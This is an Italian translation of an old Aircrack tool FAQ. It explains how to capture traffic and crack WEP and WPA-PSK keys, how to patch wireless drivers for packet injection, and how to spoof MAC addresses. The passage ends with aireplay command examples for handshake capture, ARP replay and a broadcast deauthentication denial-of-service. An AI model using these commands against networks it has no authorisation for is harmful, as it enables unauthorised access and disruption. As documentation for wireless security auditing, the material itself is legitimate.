Infohub‎ > ‎Articles‎ > ‎

Aircrack - documentazione in italiano


Attenzione: questa documentazione si riferisce ad una vecchia versione di Aircrack. Versioni più aggiornate del software e della documentazione (in inglese) le trovi sul sito ufficiale

Cos'è aircrack ?

aircrack è un insieme di strumenti per la verifica di reti wireless:
airodump: 802.11 sniffer
aireplay: 802.11 generatore di pacchetti
aircrack: cracker per chiavi statiche WEP e WPA-PSK
airdecap: decifra file catturati WEP/WPA
Questo documento è disponibile spagnolo (thanks to ShaKarO).
Esiste il forum di aircrack ?

Certo: http://100h.org/forums/. Inoltre segui il canale #aircrack su irc.freenode.net
Dove scaricare aircrack ?

Il sito di download ufficiale è http://www.cr0.net:8040/code/network/. Tuttavia, se per qualche ragione non puoi raggiungere la porta 8040, puoi usare questo mirror: http://100h.org/wlan/aircrack/.
Aircrack è incluso nel Troppix LiveCD, che comprende i drivers { Prism2 / PrismGT / Realtek / Atheros / Ralink } modificati per fare packet injection, oltre ai drivers acx100 e ipw2200 (Centrino b/g).

Compare "cygwin1.dll not found" quando lancio aircrack.exe.

Puoi scaricare la dll da: http://100h.org/wlan/aircrack/.
Per usare aircrack, trascina i tuoi file .cap o .ivs su aircrack.exe. Se vuoi lanciare il programma con delle opzioni devi avviare una shell (cmd.exe) e digitare a mano la riga di comando; c'è anche una GUI per aircrack, creata da hexanium.

Esempio:

C:\TEMP> aircrack.exe -n 64 -f 8 out1.cap out2.cap ...
Vedi sotto la lista dei parametri.

Come cracko una chiave WEP statica ?

L'idea base è catturare quanto più traffico cifrato possible con airodump. Ogni pacchetto dati WEP ha associato un Vettore di Inizializzazione (IV) da 3-byte: quando sono stati catturati abbastanza pacchetti, esegui aircrack sul file di cattura. Aircrack eseguirà quindi una serie di attacchi statistici sviluppati da un hacker di talento che si chiama KoreK.
Come so che la mia chiave WEP è corretta ?

Ci sono 2 metodi di autenticazione per il WEP:
Open-System Authentication: è il metodo di default. tutti i client sono accettati dall' AP, e la chiave non viene mai verificata: l'associazione è sempre concessa. Tuttavia se la tua chiave è sbagliata non potrai ricevere o spedire pacchetti (perchè la decifratura fallisce), così DHCP, ping etc. andranno in timeout.
Shared-Key Authentication: il client deve cifrare un challenge prima che l'associazione sia concessa dall'AP. Questo metodo è difettoso e porta alla recupero del set di chiavi, così non è mai attivo per default.
Alla fine, solo per il fatto che ti sei connesso all'access point non vuol dire che la tua chiave  WEP sia corretta ! Per provare la tua chiave WEP, prova a decifrare un file di cattura con airdecap.

Quanti IVs ci vogliono per crackare il WEP ?

Crackare il WEP non è una scienza esatta. Il numero di IVs richiesti dipende dalla lunghezza della chiave WEP e dalla tua fortuna. Di solito, una chiave WEP 40-bit si può crackare con 300.000 IVs, e una chiave WEP da 104-bit con 1.000.000 di IVs; se sei sfigato, puoi avere bisogno di 2 milioni di IVs, o anche più.
Non c'è modo di sapere quanto è lunga una chiave WEP: questa informazione è segreta e non viene diffusa, nè nelle frame di gestione nè in quelle dati; quindi, airodump non può indicare la lunghezza della chiave. Perciò è consigliabile eseguire aircrack 2 volte: quando hai 250.000 IVs, lancia aircrack con l'opzione "-n 64" per crackare il WEP a 40-bit. Quindi se non trovi la chiave, rilancia aircrack (senza l'opzione -n) per crackare la chiave WEP a 104-bit.

Sembra che non riesca a catturare alcun IVs !

Può essere che:
Sei troppo lontano dall'access point.
Non c'è traffico sulla rete wireless che stai analizzando.
C'eè traffico in modalità G ma tu stai catturando in modalità B.
La tua scheda ha qualcosa che non va (problemi di firmware ?)
In ogni caso, i beacon sono pacchetti di annuncio non cifrati. Sono del tutto inutili per crackare il WEP.

Non sono riuscito a crackare questo AP !

Càpita.
Perchè non c'è una versione Windows di aireplay ?

Il driver PEEK non supporta il packet injection 802.11 ; Non farò il porting di aireplay su Win32. Tuttavia, ci sono alternative commerciali:
Schede Prism: http://www.tuca-software.com/transmit.php

Schede Atheros: http://www.tamos.com/htmlhelp/commwifi/pgen.htm

La mia scheda è compatibile con airodump / aireplay ?

Per prima cosa, cerca con Google e scopri che chipset monta la tua scheda. Ad esempio, se hai una scheda Linksys WPC54G cerca "wpc54g chipset linux".
Chipset Supported by airodump for Windows ? Supported by airodump for Linux ? Supported by aireplay for Linux ?
HermesI SI (Agere driver) SI (patched orinoco driver) NO (il firmware danneggia l'header MAC)
Prism2/3 NO, but see LinkFerret for an alternative SI (HostAP or wlan-ng driver), STA firmware 1.5.6 or newer required SI (Solo PCI e CardBus, necessario driver con patch)
PrismGT SI (PrismGT driver) FullMAC: SI (prism54 driver, SoftMAC: NOT YET (prism54usb) SI (driver con patch raccomandato)
Atheros CardBus: SI (Atheros driver), PCI: NO (see CommView WiFi instead) SI (PCI and CardBus only, madwifi driver) SI (driver con patch richiesto)
RTL8180 SI (Realtek driver) SI (rtl8180-sa2400 driver) INSTABLE (driver con patch richiesto)
Aironet SI? (Cisco driver) SI (airo driver, firmware 4.25.30 recommended) NO (problemi con il firmware)
Ralink NO SI (rt2500 / rt2570 driver) SI (driver con patch richiesto)
Centrino b NO PARTIAL: the ipw2100 driver doesn't discard corrupted packets NO
Centrino b/g NO SI (ipw2200 driver, 1.0.6 recommended) NO (il firmware perde i pacchetti)
Broadcom Old models only (BRCM driver) ALPHA (bcm43xx driver, Linux >= 2.6.14 required) NO
TI (ACX100 / ACX111) NO UNTESTED (acx100 driver) NO
ZyDAS 1201 NO NOT YET (zd1211 driver) NO
Atmel, Marvel NO UNKNOWN NO
Il driver PEEK non riconosce la mia scheda.

Alcune schede non sono riconosciute dai driver Windows qui sopra, anche se hanno il chipset corretto. In questo caso, apri l'hardware manager, seleziona la scheda, "Aggiorna driver", scegli "Installa da un percorso specifico", scegli "Non cercare, sceglierò il driver da installare", clicka "Disco driver", punta alla cartella dove hai unzippato il driver, togli la spunta da "Mostra  hardwarecompatibile", e alla fine seleziona il driver.
Ho una scheda Prism2, ma airodump / aireplay non funzionano !

Prima di tutto, controlla di non stare usando il driver orinoco. Se il nome della scheda è wlan0, allora il driver è HostAP o wlan-ng. Invece, se il nome dell'interfaccia è eth0 o eth1, allora il driver è orinoco e devi disabilitare il driver (usa cardctl ident per sapere l'id della tua scheda, quindi modifica /etc/pcmcia/config, sostituisci orinoco_cs con hostap_cs e riavvia cardmgr).
Inoltre, può essere un problema di firmware. I vecchi firmware hanno problemi con il test mode 0x0A (usato dalle patch per l'injection di HostAP / wlan-ng), quindi controlla che il tuo sia aggiornato -- vedi sotto per le istruzioni. Il firmware raccomandato è 1.7.4. Se non funziona bene (kismet o airodump si inchiodano dopo aver catturato un paio di pacchetti), prova STA 1.5.6 (sia s1010506.hex per le vecchie schede Prism2, o sf010506.hex per quelle più nuove).

Come nota, il test mode 0x0A è abbastanza instabile con wlan-ng. Se la scheda sembra bloccata, devi resettarla, o usare HostAP. La Packet Injection non funziona attualmente con schede Prism2 USB con wlan-ng.

Nota: un driver per  Windows XP per le schede Prism2 con il supporto WPA/TKIP si triva qui: http://100h.org/wlan/winxp/wpc11v3.0_wpa_dr.exe.

Ho una scheda Atheros, e la patch madwifi crasha il kernel / 
aireplay continua a dire che il supporto RTC avanzatonon è disponibile.

Ci sono alcuni problemi con alcuni kernel Linux 2.6 (soprattutto precedenti al 2.6.11) che generano un kernel panic quando inietti con  madwifi. Inoltre, su molti kernel 2.6 il supporto all'RTC avanzato semplicemente non funziona. Quindi è consigliabile usare un Linux 2.6.11.x successivo.
Come aggiorno il mio firmware Prism2 ?

Il modo più semplice è usare WinUpdate - che richiede di avere il driver WPC11 v2.5 installato.Si trovano entrambi qui:http://100h.org/wlan/linux/prism2/.
Puoi anche updatare il firmware con una versione patchata di HostAP (vedi sotto per le istruzioni su come patchare e installare HostAP). In alternativa, puoi fare boot con Troppix Live CD (che contiene già un driver patchato hostap e l'utility prism2_srec).

Adesso che HostAP è caricato, puoi controllare le versioni primarie e station del firmware con questo comando:

# dmesg | grep wifi
hostap_cs: Registered netdevice wifi0
wifi0: NIC: id=0x800c v1.0.0
wifi0: PRI: id=0x15 v1.1.1  (primary firmware is 1.1.1)
wifi0: STA: id=0x1f v1.7.4  (station firmware is 1.7.4)
wifi0: registered netdevice wlan0
Se il NIC id qui sopra è tra 0x8002 e 0x8008, hai una vecchia Prism2 e DEVI usare STA firmware versione 1.5.6 (s1010506.hex). Altrimenti, devi usare PRI 1.1.1 / STA 1.7.4 che è il firmware più stabile per le nuove schede Prism2. NON usare il firmware 1.7.1 o 1.8.x, sono riportati problemi con quelli.

Per aggiornare il firmware, hai bisogno di prism2_srec dal pacchetto hostap-utils; se non ce l'hai, scarica e compila le hostap-utils:

wget http://100h.org/wlan/linux/prism2/hostap-utils-0.4.0.tar.gz
tar -xvzf hostap-utils-0.4.0.tar.gz
cd hostap-utils-0.4.0
make
Alcune schede Prism2 sono state limitate ad un certo set di canali a causa di limitazioni nazionali. Puoi attivare tutti i 14 canali con questi comandi:

./prism2_srec wlan0 -D > pda; cp pda pda.bak
Edit pda and put 3FFF at offset 0104 (line 24)
Infine, scarica il firmware e flasha la tua scheda. Se il NIC id è tra 0x8002 e 0x8008:

wget http://100h.org/wlan/linux/prism2/s1010506.hex
./prism2_srec -v -f wlan0 s1010506.hex -P pda
Altrimenti:

wget http://100h.org/wlan/linux/prism2/pk010101.hex
wget http://100h.org/wlan/linux/prism2/sf010704.hex
./prism2_srec -v -f wlan0 pk010101.hex sf010704.hex -P pda
Se compare il messaggio "ioctl[PRISM2_IOCTL_HOSTAPD]: Operation not supported", il driver HostAP non è caricato e devi installarlo. Se compare il messaggio "ioctl[PRISM2_IOCTL_DOWNLOAD]: Operation not supported", il tuo driver HostAP non è stato patchato per il supporto al download non temporaneo (non-volatile).

Quale è la scheda migliore da comprare ?

Attualmente il chip migliore è l' Atheros; è molto ben supportato sotto Linux e Windows (solo PCMCIA/CardBus). L'ultima patch madwifi rende possible iniettare paccketti raw 802.11 sia in modo Managed che Monitor a velocità a schelta tra b e g.
Ralink fa dei bei chipsets b/g, ed è molto collaborativa con la comunità open source nel rilasciare drivers GPL. La Packet injection è ora pienamente supportata per Linux su schede PCI/CardBus RT2500, e funziona anche su schede USB RT2570.

Questa è una lista delle schede raccomandate:

Card name Type Chipset Antenna Price Windows support Linux support
MSI PC54G2 PCI Ralink RP-SMA E30 No Yes
MSI CB54G2 CardBus Ralink Internal E30 No Yes
Linksys WMP54G v4 PCI Ralink RP-SMA E40 No Yes
Linksys WUSB54G v4 USB Ralink Internal E40 No Yes
D-Link DWL-G122 USB Ralink Internal E45 No Yes
Netgear WG111 USB PrismGT SoftMAC Internal E40 airodump No
Netgear WG311T PCI Atheros RP-SMA E50 CommView WiFi Yes
Netgear WG511T CardBus Atheros Internal E50 airodump Yes
Netgear WAG511 CardBus Atheros Internal E100 airodump Yes
Proxim 8470-WD CardBus Atheros MC + Int. E110 airodump Yes
Nota: ci sono alcuni modelli economici con un nome simile (WG511, WG311 e DWL-G520+); queste schede non sono basate su Atheros. Inoltre, il driver Peek non supporta le schede Atheros recenti, così devi usare CommView WiFi.

Come uso airodump per Windows ?

Prima di tutto, controlla che la tua scheda sia compatibile (vedi tabella qui sopra) e che il driver corretto sia installato.
Quando lanci airodump, devi specificare:

Il numero della scheda di rete, scelta nella lista mostrata da airodump.
Il tipo di scheda di rete ('o' per HermesI e Realtek, 'a' per Aironet, Atheros, Broadcom e PrismGT).
Il numero di canale, tra 1 e 14. Puoi anche specificare 0 per scannare tutti i canali.
Il prefisso per il file di output. Ad esempio, se il prefisso è "foo", allora airodump creerà foo.cap (pacchetti catturati) e foo.txt (statistiche in CSV). Se foo.cap esiste già, airodump riavvierà la sessione appendendo i pacchetti a quel file.
Il flag "only IVs". Specifica 1 se vuoi salvare gli IVs presenti nei WEP pacchetti dati. Risparmi spazio, ma il file ottenuto (foo.ivs) può essere usato solo per crackare il WEP.
Per interrompere la cattura, premi Ctrl-C. Puoi ottenere un BSOD, dovuto a un bug nel driver PEEK che non esce correttamente dal monitor mode. Inoltre, il file di cattura può essere vuoto. La causa del bug è sconosciuta.

Perchè non posso compilare airodump e aireplay su BSD / Mac OS X ?

I sorgenti di airodump e aireplay sono specifici per Linux. Non è in programma di portarli su altre piattaforme.
Come uso airodump per Linux ?

Prima di eseguire airodump, puoi far partire lo script airmon.sh per listare le interfacce wireless presenti. E' possibile, ma non recommendato, eseguire Kismet e airodump nello stesso momento.
 usage: airodump <interface> <output prefix> [channel] [IVs flag]

 Specify 0 as the channel to hop between 2.4 GHz channels.
 Set the optional IVs flag to 1 to only save the captured
 IVs - the resulting file is only useful for WEP cracking.

 If the gpsd daemon is running, airodump will retrieve and
 save the current GPS coordinates in text format.
YPuoi convertire i file .cap / .dump in formato .ivs col programma pcap2ivs (solo per linux).

airodump continua a cambiare tra WEP e WPA.

Succede perchè il tuo driver non scarta i pacchetti fallati (che hanno un CRC non valido). Se è un Centrino b, non ci si può fare nulla; comprati una scheda migliore. Se è una Prism2, prova a aggiornare il firmware.
Quale è il significato dei campi mostrati da airodump ?

airodump mostra una lista degli access point trovati, e anche una lista dei client connessi ("stations"). Questo è uno screenshot di una scheda Prism2 con HostAP:
 BSSID PWR Beacons # Data CH MB ENC ESSID

 00:13:10:30:24:9C 46 15 3416 6 54. WEP the ssid 
 00:09:5B:1F:44:10 36 54 0 11 11 OPN NETGEAR

 BSSID STATION PWR Packets Probes

 00:13:10:30:24:9C 00:09:5B:EB:C5:2B 48 719 the ssid
 00:13:10:30:24:9C 00:02:2D:C1:5D:1F 190 17 the ssid
Field Description
BSSID MAC address dell' access point.
PWR Livello di segnale come riportato dalla scheda. Il suo significato dipende dal driver, ma quando il segnale sale sei più vicino all'AP o alla station. Se PWR == -1, il driver non fornisce l'informazione.
Beacons Numero di pacchetti di annuncio spediti dall' AP. Ogni access point spedisce circa 10 frame al secondo alla velocità più bassa (1M), quindi possono essere rilevati da una buona distanza.
# Data Numero di pacchetti dati catturati (se WEP, conteggio degli IV univoci), inclusi i pacchetti dati broadcast.
CH Numero del canale (preso dai pacchetti beacon). Nota: a volte vengono catturati pacchetti da altri canali anche se airodump non sta facendo hopping, causa interferenze radio.
MB Massima velocità suportata dall' AP. Se MB = 11, è 802.11b, se MB = 22 è 802.11b+ e valori superiori indicano 802.11g. Il punto (dopo il 54 qui sopra) indica il supporto allo short preamble.
ENC Algoritmo di cifratura in uso. OPN = nessuna cifratura, "WEP?" = WEP o qualcosa di meglio (non ci sono abbastanza dati per distinguere WEP e WPA), WEP (senza il ?) indica WEP statico o dinamico, e WPA se TKIP o CCMP è in uso.
ESSID Il così detto "SSID", che può essere vuoto se l' SSID è nascosto. In questo caso, airodump cerca di recuperare l' SSID dalle risposte ai probee dalle richieste di associazione.
STATION Il MAC address di ogni station associata. Nello screenshot qui sopra, sono rilevati 2 client (00:09:5B:EB:C5:2B e 00:02:2D:C1:5D:1F).
Come unisco diversi files di cattura ?

Usa il programma mergecap (parte del pacchetto ethereal-common e presente nella distribuzione win32):
mergecap -w out.cap test1.cap test2.cap test3.cap

I files .ivs possono essere uniti con il programma "mergeivs" (solo su linux).

Posso usare Ethereal per catturare i pacchetti 802.11 ?

Su Linux, imposta la scheda in monitor mode con lo script airmon.sh. Su Windows, Ethereal NON può catturare i pacchetti 802.11.
Ethereal decodifica i pacchetti dati WEP ?

Si. Vai su Edit -> Preferences -> Protocols -> IEEE 802.11, scegli 1 nella box "WEP key count" e digita la chave WEP.
Come cambio il MAC address della mia scheda ?

Su Linux. se hai una scheda Atheros card:
ifconfig ath0 down
ifconfig ath0 hw ether 00:11:22:33:44:55
ifconfig ath0 up
Se non funziona, espelli e reinserisci la scheda.

Su Windows puoi usare macmakeup.

Come uso aircrack ?

Usage: aircrack [options] <capture file(s)>
Puoi specificare diversi files in input (sia in formato .cap o .ivs). Inoltre, puoi eseguire airodump e aircrack nello stesso momento: aircrack si auto-aggiorna quando arrivano nuovi IVs.

Questa è una lista delle opzioni:

Opzione Param. Descripzione
-a amode Forza il modo di attacco (1 = static WEP, 2 = WPA-PSK).
-e essid Se impostato, verranno usati tutti gli IVs dalle reti col medesimo ESSID. Questa opzione è necessaria per crackare il WPA-PSK se l' ESSID non è annunciato (nascosto).
-b bssid Seleziona la rete in base al MAC address dell'access point.
-p nbcpu Sui sistemi multiprocessore imposta il numero di CPU
-q none Attiva la modalità silenziosa (non mostra lo stato fino a che la chiave è trovata o non ci si riesce).
-c none (WEP cracking) Riduce lo spazio delle chiavi ad alfanumerico, caratteri tra (0x20 - 0x7F).
-t none (WEP cracking) Riduce lo spazio delle chiavi ai caratteri esadecimali codificati in binario.
-d start (WEP cracking) Imposta l'inizio della chiave WEP (in esadecimale),a scopo di debug.
-m maddr (WEP cracking) MAC address per filtrare i pacchetti dati WEP. In alternativa, specifica -m ff:ff:ff:ff:ff:ff per usare tutti gli IVs, indipendentemente dalla rete.
-n nbits (WEP cracking) Specifica la lunghezza della chiave: 64 per il WEP a 40-bit, 128 per il WEP a 104-bit, etc. Il valore di default è 128.
-i index (WEP cracking) Usa solo gli IVs che hanno questo indice per la chiave (da 1 a 4). Per default l'indice viene ignorato.
-f fudge (WEP cracking) Per default, questo valore vale 2 per il WEP a 104-bit e 5 per il WEP a 40-bit. Prova un valore più alto per aumentare il livello di bruteforce: il crack sarà più lungo, ma con maggiori opportunità di successo.
-k korek (WEP cracking) Ci sono 17 attacchi statistici di korek. A volte un attacco crea molti falsi positivi che impediscono di trovare la chiave, anche usando molti IVs. Prova -k 1, -k 2, ... -k 17 per disattivare gli attacchi singolarmente.
-x none (WEP cracking) Abilita il bruteforce solo sugli ultimi 2 bytes della chiave.
-y none (WEP cracking) E' un attacco bruteforce sperimentale che andrebbe usato solo quando il modo standard fallisce con oltre un milione di IVs.
-w words (WPA cracking) Percorso per il file dizionario.
Puoi implementare un resume per aircrack ?

Non è in previsione di farlo.
Come posso crackare una rete WPA-PSK ?

Devi sniffare fino a che non capita un handshake tra un client wireless e l' access point. Per forzare una ri-autenticazione del client, puoi forzare un attacco deauth con aireplay. In più serve un buon dizionario; vedi
http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/
Per tua informazione, non è possibile pre calcolare grosse tabelle di Pairwise Master Keys come si fa col rainbowcrack, dal momento che la passphrase è cifrata con l' ESSID.

In futuro sarà crackato WPA ?

E' abbastanza improbaile che WPA venga crackato come è stato fatto per WEP.
Il problema maggiore di WEP è che la chiave condivisa è allegata all' IV; il risultato finisce direttamente nell' RC4. Questo semplice schema è suscettibile di essere violato mediante un attacco statistico, siccome i primi bytes del messaggio cifrato sono fortemente correlati con la chiave condivisa (vedi la documentazione di Andrew Roos). Ci sono in sostanza 2 misure contro questo attacco: 1. combinare l' IV e la chiave condivisa con una funzione di hash function oppure 2. scartare i primi 256 bytes dell'output dell' RC4.

C'è stata della disinformazione nelle news sui "buchi" di TKIP:

Per ora, TKIP è ragionevolmente sicuro ma ha i gorni contati dal momento che si basa sul medesimo algoritmo RC4 sul quale si basava WEP.
Ad oggi, TKIP (WPA1) non è vulnerabile: per ogni pacchetto, l'IV da 48-bit è combinato con la chiave di accoppiamento temporaneo da 128-bit per creare una chiave RC4 da 104-bit, così non c'è alcuna correlazione statistica. In più, WPA ha delle contromisure contro gli attacchi attivi  (ritrasmissione del traffico), include un codice di verifica del messaggio più robusto (michael), ed ha un protocollo di autenticazione molto robusto (il 4-way handshake). Ad oggi l'unica vulnerabilità è un attacco con dizionario, che è inutile contro una passphrase ben costruita.

WPA2 (conosciuto come 802.11i) è lo stesso che WPA1, solo che usa CCMP (AES in counter mode) invece di RC4 e HMAC-SHA1 al posto di HMAC-MD5 per l' EAPOL MIC. Infine, WPA2 è un pochino meglio di WPA1, ma nessuno dei due sarà crackato a breve.

Ho oltre un milione di IVs, ma aircrack non trova la chiave !

Possibili cause:
Sfiga: devi catturare più IVs. Di solito, WEP a 104-bit si cracca con un milione di IVs, ma a volte ne sono necessari di più.
 
Se tutti i voti sembrano uguali, o se ce ne sono molti negativi, allora il file di cattura è danneggiato, o la chiave non è statica (forse è in uso EAP/802.1X ?).
 
Un falso positivo impedisce di trovare la chiave. Prova a disabilitare ogni singolo attacco korek (-k 1 .. 17), aumenta il fudge factor (-f) o prova gli attacchi sperimentali (-x / -y).
Ho trovato la chiave. Come decifro il file catturato ?

Usa il programma airdecap:
 usage: airdecap [options] <pcap file>

 -l : don't remove the 802.11 header
 -b bssid : access point MAC address filter
 -k pmk : WPA Pairwise Master Key in hex
 -e essid : target network ascii identifier
 -p pass : target network WPA passphrase
 -w key : target network WEP key in hex

 examples:

 airdecap -b 00:09:5B:10:BC:5A open-network.cap
 airdecap -w 11A3E229084349BC25D97E2939 wep.cap
 airdecap -e 'the ssid' -p passphrase tkip.cap
Su Windows come recupero la mia chiave WEP ?

Puoi usare WZCOOK che recupera le chiavi WEP dall'utility di XP Wireless Zero Configuration. Questo software è sperimentale, quindi può funzionare o meno a seconda del livello di service pack.
WZCOOK recupera le chiavi WPA ?

WZCOOK mostra la PMK (Pairwise Master Key), un valore da 256-bitche è il risultato della passphrase messa in hash 8192 colte con l' ESSID e la lunghezza dell' ESSID. La passphrase non può essere recuperata -- tuttavia, conoscere la PMK è sufficiente per connettersi a una rete wireless protetta con WPA con wpa_supplicant (vedi Windows README). Il tuo file di configurazione wpa_supplicant.conf dovrebbe assomigliare a:
network={ 
    ssid="my_essid" 
    pmk=5c9597f3c8245907ea71a89d[...]9d39d08e 
}

Come applico la patch al driver per fare injection con aireplay ?

Ad oggi, aireplay supporta l' injection sui Prism2, PrismGT (FullMAC), Atheros, RTL8180 e Ralink. L'Injection su Centrino, Hermes, ACX1xx, Aironet, ZyDAS, Marvell e Broadcom non è supportata a causa di limiti del firmware o del driver.
L' Injection su Prism2 e Atheros è ancora abbastanza sperimentale; se la scheda sembra bloccata (nessun pacchetto catturato o iniettato), disabilita l'interfaccia, ricarica i drivers e reinserisci la scheda. Potresti anche aggiornate il firmware (se hai una Prism2).

Tutti i driver hanno bisogno della patch per supportare l'injection in Monitor mode. Avrai bisogno degli header di Linux per il tuo kernel attuale; sennò ti devi scaricare i sorgenti e compilare un kernel personalizzato.

Se hai problemi con il patching e le ricompilazioni, usa il Troppix LiveCD, che include i drivers con la patch.

Installazione del driver madwifi (schede Atheros)
Nota 1:hai bisogno di uudecode nel pacchetto sharutils.

Nota 2: la patch 20051025 dovrebbe funzionare con le versioni nuove del CVS madwifi.

Nota 3: se usi wpa_supplicant, devi ricmpilarlo (le versioni vecchie non sono compatbili col CVS corrente di madwifi), e assicurati che CONFIG_DRIVER_MADWIFI=y non sia commentato in config.h.

Nota 4: Con la versione corrente di madwifi, non c'è più bisogno di eseguire "iwpriv ath0 mode 2", dal momento che il driver permette l'injection in mode 0 usando la nuova interfaccia athXraw.

Modi permessi Physical medium
Mode 0 Automatic (a/b/g)
Mode 1 solo 802.11a 
Mode 2 solo 802.11b
Mode 3 solo 802.11g
ifconfig ath0 down
rmmod wlan_wep ath_rate_sample ath_rate_onoe \
 ath_pci wlan ath_hal 2>/dev/null

find /lib/modules -name 'ath*' -exec rm -v {} \; 2>/dev/null
find /lib/modules -name 'wlan*' -exec rm -v {} \; 2>/dev/null
cd /usr/src
wget http://100h.org/wlan/linux/atheros/madwifi-cvs-20051025.tgz
wget http://100h.org/wlan/linux/patches/madwifi-cvs-20051025.patch
tar -xvzf madwifi-cvs-20051025.tgz
cd madwifi-cvs-20051025
patch -Np1 -i ../madwifi-cvs-20051025.patch
make KERNELPATH=/usr/src/linux-<insert version>
make install
modprobe ath_pci
Si può ora impostare la velocità con madwifi (e con rt2570). La velocità raccomandata è 5.5 Mbps, ma puoi abbassarla o alzarla, a seconda della distanza dall' AP. Ad esempio:

iwconfig ath0 rate 24M
Modulazione Velocità permesse
DSSS / CCK 1M, 2M, 5.5M, 11M
OFDM (a/g) 6M, 9M, 12M, 24M, 36M, 48M, 54M
Quando usi gli attacchi 2, 3 e 4, cambiare il numero di pacchetti al secondi spediti da aireplay (opzione -x) a volte aiuta ad ottenere risultati migliori; il default è 500 pps.

Installazione del driver prism54 (schede PrismGT FullMAC)
ifconfig eth1 down
rmmod prism54

cd /usr/src
wget http://100h.org/wlan/linux/prismgt/prism54-svn-20050724.tgz
wget http://100h.org/wlan/linux/patches/prism54-svn-20050724.patch
tar -xvzf prism54-svn-20050724.tgz
cd prism54-svn-20050724
patch -Np1 -i ../prism54-svn-20050724.patch
make modules && make install
wget http://100h.org/wlan/linux/prismgt/1.0.4.3.arm
mkdir -p /usr/lib/hotplug/firmware
mkdir -p /lib/firmware
cp 1.0.4.3.arm /usr/lib/hotplug/firmware/isl3890
mv 1.0.4.3.arm /lib/firmware/isl3890
depmod -a
Installazione del driver HostAP (schede Prism2)
ifconfig wlan0 down
wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable
/etc/init.d/CardBus stop
rmmod prism2_pci
rmmod hostap_pci

cd /usr/src
wget http://100h.org/wlan/linux/prism2/hostap-driver-0.4.5.tar.gz
wget http://100h.org/wlan/linux/patches/hostap-driver-0.3.9.patch
tar -xvzf hostap-driver-0.4.5.tar.gz
cd hostap-driver-0.4.5
patch -Np1 -i ../hostap-driver-0.3.9.patch
make && make install
mv -f /etc/pcmcia/wlan-ng.conf /etc/pcmcia/wlan-ng.conf~
/etc/init.d/pcmcia start
modprobe hostap_pci &>/dev/null
Installazione del driver wlan-ng (scheda Prism2)
Nota importante: quando la scheda viene inserita, wlan-ng aggiorna il firmware nella RAM (volatile download) con le veriosni PRI 1.1.4 e STA 1.8.3. Molti utenti hanno problemi in questa fase, quindi in ogni caso è meglio usare hostap. Inoltre, HostAP è più affidabile e supporta iwconfig mentre wlan-ng no.

ifconfig wlan0 down
wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable
/etc/init.d/pcmcia stop
rmmod prism2_pci
rmmod hostap_pci
find /lib/modules \( -name p80211* -o -name prism2* \) \
 -exec rm -v {} \;

cd /usr/src
wget http://100h.org/wlan/linux/prism2/wlanng-0.2.1-pre26.tar.gz
wget http://100h.org/wlan/linux/patches/wlanng-0.2.1-pre26.patch
tar -xvzf wlanng-0.2.1-pre26.tar.gz
cd wlanng-0.2.1-pre26
patch -Np1 -i ../wlanng-0.2.1-pre26.patch
make config && make all && make install
mv /etc/pcmcia/hostap_cs.conf /etc/pcmcia/hostap_cs.conf~
/etc/init.d/pcmcia start
modprobe prism2_pci &>/dev/null
Installazione del driver r8180-sa2400 (schede RTL8180)
ifconfig wlan0 down
rmmod r8180

cd /usr/src
wget http://100h.org/wlan/linux/rtl8180/rtl8180-0.21.tar.gz
wget http://100h.org/wlan/linux/patches/rtl8180-0.21.patch
tar -xvzf rtl8180-0.21.tar.gz
cd rtl8180-0.21
patch -Np1 -i ../rtl8180-0.21.patch
make && make install
depmod -a
modprobe r8180
Installazione del driver rt2500 (Ralink b/g PCI/CardBus)
ifconfig ra0 down
rmmod rt2500

cd /usr/src
wget http://100h.org/wlan/linux/ralink/rt2500-cvs-20051112.tgz
tar -xvzf rt2500-cvs-20051112.tgz
cd rt2500-cvs-20051112
cd Module
make && make install
modprobe rt2500
Assicurati di caricare il driver con modprobe (non insmod) e di mettere la scheda in Monitor mode prima di tiraru su l'interfaccia.

Installazione del driver rt2570 (Ralink b/g USB)
ifconfig rausb0 down
rmmod rt2570

cd /usr/src
wget http://100h.org/wlan/linux/ralink/rt2570-cvs-20051112.tgz
tar -xvzf rt2570-cvs-20051112.tgz
cd rt2570-cvs-20051112
cd Module
make && make install
modprobe rt2570
Non riesco a compilare il driver.

Capita di solito perchè gli header non sono quelli del Linux in esecuzione. In questo caso, compila un nuovo kernel, installalo e fai reboot. Quindi, riprova a compilare driver.
Vedi questo HOWTO per i dettagli sulla compilazione del kernel.

Come uso aireplay ?

Se il driver ha la patch corretta, aireplay può iniettare pacchetti raw 802.11 in Monitor mode; implementa un set di 5 attacchi:
Se ottieni "ioctl(SIOCGIFINDEX) failed: No such device", controlla bene il nome del device e di non aver dimenticato un parametro sulla riga di comando

Negli esempi che seguono, 00:13:10:30:24:9C è il MAC address dell' access point (sul canale 6), e 00:09:5B:EB:C5:2B è il MAC address del wireless client.

Attacco 0: deauthentication
Questo attacco è utile soprattutto per recuperare unESSID nascosto (non annunciato) e per catturare glihandshakes WPA forzando i client a ri-autenticarsi. Può anche essere usato per generare richieste ARP come fanno i client Windows a volte quando vuotano la ARP cache in fase di disconnessione. Ovviamente, questo attacco è inutile se non ci sono client associati.

Di solito è più efficace puntare una station specifica usando il paramentro -c.

Esempi:

Cattura di un Handshake WPA con Atheros
airmon.sh start ath0
airodump ath0 out 6  (switch to another console)
aireplay -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0
(wait for a few seconds)
aircrack -w /path/to/dictionary out.cap
Generazione di una ARP requestcon una scheda Prism2
airmon.sh start wlan0
airodump wlan0 out 6  (switch to another console)
aireplay -0 10 -a 00:13:10:30:24:9C wlan0
aireplay -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
Dopo aver spedito 5 blocchi di pacchetti di de-autenticazione, ci mettiamo in ascolto delle ARP requests con l'attacco 3. E' obbligatoria l'opzione -h e deve essere il MAC di un client associato.

Se il driver è wlan-ng, devi lanciare lo script airmon.sh; altrimenti la scheda non sarà impostata per fare injection.

Mass denial-of-service con scheda RT2500
airmon.sh start ra0
aireplay -0 0 -a 00:13:10:30:24:9C ra0
Con il parametro 0, questo attacco esegue un loop infinito spedendo pacchetti di deauthenticazione all'indirizzo di broadcast, impedendo ai client di rimanere autenticati.

Attacco 1: autenticazione falsa
